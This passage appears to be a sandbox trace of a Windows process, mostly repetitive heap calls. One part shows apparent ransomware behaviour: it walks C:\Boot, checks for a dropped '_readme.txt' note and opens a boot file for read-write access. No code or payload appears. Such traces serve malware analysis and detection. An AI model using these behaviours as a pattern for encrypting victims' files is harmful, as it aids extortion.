RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5ab8 [0059.551] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8230 [0059.551] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc46) returned 0x3068dd8 [0059.551] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.551] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3068dd8 | out: hHeap=0x670000) returned 1 [0059.551] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5ab8 | out: hHeap=0x670000) returned 1 [0059.551] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5ab8 [0059.551] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30c8230 [0059.551] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.552] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5ab8 | out: hHeap=0x670000) returned 1 [0059.552] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5ab8 [0059.552] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30c8230 [0059.552] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.552] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5ab8 | out: hHeap=0x670000) returned 1 [0059.552] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5ab8 [0059.552] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8230 [0059.552] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.552] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5ab8 | out: hHeap=0x670000) returned 1 [0059.552] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5ab8 [0059.552] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8230 [0059.552] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.552] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5ab8 | out: hHeap=0x670000) returned 1 [0059.552] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5ab8 [0059.552] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8230 [0059.552] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.552] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5ab8 | out: hHeap=0x670000) returned 1 [0059.552] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5ab8 [0059.552] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8230 [0059.552] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.552] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5ab8 | out: hHeap=0x670000) returned 1 [0059.552] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5ab8 [0059.552] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8230 [0059.552] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.552] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5ab8 | out: hHeap=0x670000) returned 1 [0059.552] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5ab8 [0059.552] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8230 [0059.552] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.552] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5ab8 | out: hHeap=0x670000) returned 1 [0059.552] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5ab8 [0059.552] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8230 [0059.553] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.553] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5ab8 | out: hHeap=0x670000) returned 1 [0059.553] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5ab8 [0059.553] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8230 [0059.553] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc46) returned 0x3068dd8 [0059.553] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.553] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3068dd8 | out: hHeap=0x670000) returned 1 [0059.553] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5ab8 | out: hHeap=0x670000) returned 1 [0059.553] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5ab8 [0059.553] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8230 [0059.553] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.553] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5ab8 | out: hHeap=0x670000) returned 1 [0059.553] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5ab8 [0059.553] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x860) returned 0x306a418 [0059.553] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306a418 | out: hHeap=0x670000) returned 1 [0059.553] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5ab8 | out: hHeap=0x670000) returned 1 [0059.553] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5ab8 [0059.553] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x860) returned 0x306a418 [0059.553] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306a418 | out: hHeap=0x670000) returned 1 [0059.553] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5ab8 | out: hHeap=0x670000) returned 1 [0059.553] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5ab8 [0059.553] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8230 [0059.553] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.553] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5ab8 | out: hHeap=0x670000) returned 1 [0059.553] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5ab8 [0059.553] PathFindFileNameW (pszPath="C:\\Boot\\fi-FI\\") returned="fi-FI\\" [0059.553] PathFindFileNameW (pszPath="C:\\Boot\\") returned="Boot\\" [0059.553] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5928 | out: hHeap=0x670000) returned 1 [0059.553] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0059.553] PathFindFileNameW (pszPath="") returned="" [0059.554] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x75fd0000 [0059.554] GetProcAddress (hModule=0x75fd0000, lpProcName="SHGetFolderPathW") returned 0x76055708 [0059.554] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x306a418 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0059.554] FreeLibrary (hLibModule=0x75fd0000) returned 1 [0059.554] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5ab8 | out: hHeap=0x670000) returned 1 [0059.554] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306a418 | out: hHeap=0x670000) returned 1 [0059.554] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e54a0 | out: hHeap=0x670000) returned 1 [0059.554] PathAppendW (in: pszPath="C:\\Boot\\fi-FI\\", pMore="_readme.txt" | out: pszPath="C:\\Boot\\fi-FI\\_readme.txt") returned 1 [0059.554] PathFileExistsW (pszPath="C:\\Boot\\fi-FI\\_readme.txt") returned 1 [0059.554] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.554] FindFirstFileW (in: lpFileName="C:\\Boot\\fi-FI\\*", lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x13b17c90, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x13b17c90, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3038588 [0059.555] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e54a0 | out: hHeap=0x670000) returned 1 [0059.555] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x13b17c90, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x13b17c90, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0059.555] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe836d95d, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15c40, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0059.555] PathFindExtensionW (pszPath="C:\\Boot\\fi-FI\\bootmgr.exe.mui") returned=".mui" [0059.555] CreateFileW (lpFileName="C:\\Boot\\fi-FI\\bootmgr.exe.mui" (normalized: "c:\\boot\\fi-fi\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0059.555] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3018118 | out: hHeap=0x670000) returned 1 [0059.555] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x13b17c90, ftCreationTime.dwHighDateTime=0x1d53559, ftLastAccessTime.dwLowDateTime=0x13b17c90, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x13b17c90, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x494, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="_readme.txt", cAlternateFileName="")) returned 1 [0059.555] PathFindExtensionW (pszPath="C:\\Boot\\fi-FI\\_readme.txt") returned=".txt" [0059.555] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3018118 | out: hHeap=0x670000) returned 1 [0059.555] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x13b17c90, ftCreationTime.dwHighDateTime=0x1d53559, ftLastAccessTime.dwLowDateTime=0x13b17c90, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x13b17c90, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x494, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="_readme.txt", cAlternateFileName="")) returned 0 [0059.555] FindClose (in: hFindFile=0x3038588 | out: hFindFile=0x3038588) returned 1 [0059.555] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.555] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5478 | out: hHeap=0x670000) returned 1 [0059.555] PeekMessageW (in: lpMsg=0x9aaff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x9aaff08) returned 0 [0059.555] PeekMessageW (in: lpMsg=0x9aafb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x9aafb74) returned 0 [0059.555] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e54a0 [0059.555] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0059.555] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.555] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e54a0 | out: hHeap=0x670000) returned 1 [0059.555] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e54a0 [0059.555] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0059.555] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.555] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e54a0 | out: hHeap=0x670000) returned 1 [0059.555] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e54a0 [0059.556] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0059.556] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.556] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e54a0 | out: hHeap=0x670000) returned 1 [0059.556] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e54a0 [0059.556] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0059.556] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.556] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e54a0 | out: hHeap=0x670000) returned 1 [0059.556] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e54a0 [0059.556] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0059.556] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.556] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e54a0 | out: hHeap=0x670000) returned 1 [0059.556] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e54a0 [0059.556] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30c8ab8 [0059.556] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.556] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e54a0 | out: hHeap=0x670000) returned 1 [0059.556] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e54a0 [0059.556] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0059.556] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc2e) returned 0x3068dd8 [0059.556] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.556] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3068dd8 | out: hHeap=0x670000) returned 1 [0059.556] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e54a0 | out: hHeap=0x670000) returned 1 [0059.556] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e54a0 [0059.556] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0059.556] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.556] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e54a0 | out: hHeap=0x670000) returned 1 [0059.556] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e54a0 [0059.556] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30c8ab8 [0059.556] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.556] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e54a0 | out: hHeap=0x670000) returned 1 [0059.556] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e54a0 [0059.556] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x860) returned 0x306a418 [0059.556] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306a418 | out: hHeap=0x670000) returned 1 [0059.557] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e54a0 | out: hHeap=0x670000) returned 1 [0059.557] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e54a0 [0059.557] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x860) returned 0x306a418 [0059.557] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306a418 | out: hHeap=0x670000) returned 1 [0059.557] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e54a0 | out: hHeap=0x670000) returned 1 [0059.557] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e54a0 [0059.557] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0059.557] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.557] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e54a0 | out: hHeap=0x670000) returned 1 [0059.557] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e54a0 [0059.557] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0059.557] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.557] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e54a0 | out: hHeap=0x670000) returned 1 [0059.557] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e54a0 [0059.557] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30c8ab8 [0059.557] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.557] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e54a0 | out: hHeap=0x670000) returned 1 [0059.557] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e54a0 [0059.557] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30c8ab8 [0059.557] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.557] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e54a0 | out: hHeap=0x670000) returned 1 [0059.557] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e54a0 [0059.557] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0059.557] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.557] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e54a0 | out: hHeap=0x670000) returned 1 [0059.557] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e54a0 [0059.557] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0059.557] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.557] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e54a0 | out: hHeap=0x670000) returned 1 [0059.557] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e54a0 [0059.557] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0059.558] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.558] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e54a0 | out: hHeap=0x670000) returned 1 [0059.558] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e54a0 [0059.558] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0059.558] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.558] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e54a0 | out: hHeap=0x670000) returned 1 [0059.558] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e54a0 [0059.558] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0059.558] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.558] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e54a0 | out: hHeap=0x670000) returned 1 [0059.558] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e54a0 [0059.558] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0059.558] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.558] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e54a0 | out: hHeap=0x670000) returned 1 [0059.558] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e54a0 [0059.558] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0059.558] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.558] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e54a0 | out: hHeap=0x670000) returned 1 [0059.558] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e54a0 [0059.558] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0059.558] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc46) returned 0x3068dd8 [0059.558] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.558] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3068dd8 | out: hHeap=0x670000) returned 1 [0059.558] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e54a0 | out: hHeap=0x670000) returned 1 [0059.558] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e54a0 [0059.558] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0059.558] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.558] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e54a0 | out: hHeap=0x670000) returned 1 [0059.558] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e54a0 [0059.558] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0059.558] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc2e) returned 0x3068dd8 [0059.558] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.559] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3068dd8 | out: hHeap=0x670000) returned 1 [0059.559] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e54a0 | out: hHeap=0x670000) returned 1 [0059.559] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e54a0 [0059.559] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x860) returned 0x306a418 [0059.559] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306a418 | out: hHeap=0x670000) returned 1 [0059.559] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e54a0 | out: hHeap=0x670000) returned 1 [0059.559] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e54a0 [0059.559] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x860) returned 0x306a418 [0059.559] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306a418 | out: hHeap=0x670000) returned 1 [0059.559] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e54a0 | out: hHeap=0x670000) returned 1 [0059.559] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e54a0 [0059.559] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0059.559] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.559] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e54a0 | out: hHeap=0x670000) returned 1 [0059.559] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e54a0 [0059.559] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0059.559] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.559] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e54a0 | out: hHeap=0x670000) returned 1 [0059.559] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e54a0 [0059.559] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0059.559] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc46) returned 0x3068dd8 [0059.559] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.559] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3068dd8 | out: hHeap=0x670000) returned 1 [0059.559] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e54a0 | out: hHeap=0x670000) returned 1 [0059.559] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e54a0 [0059.559] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30c8ab8 [0059.559] 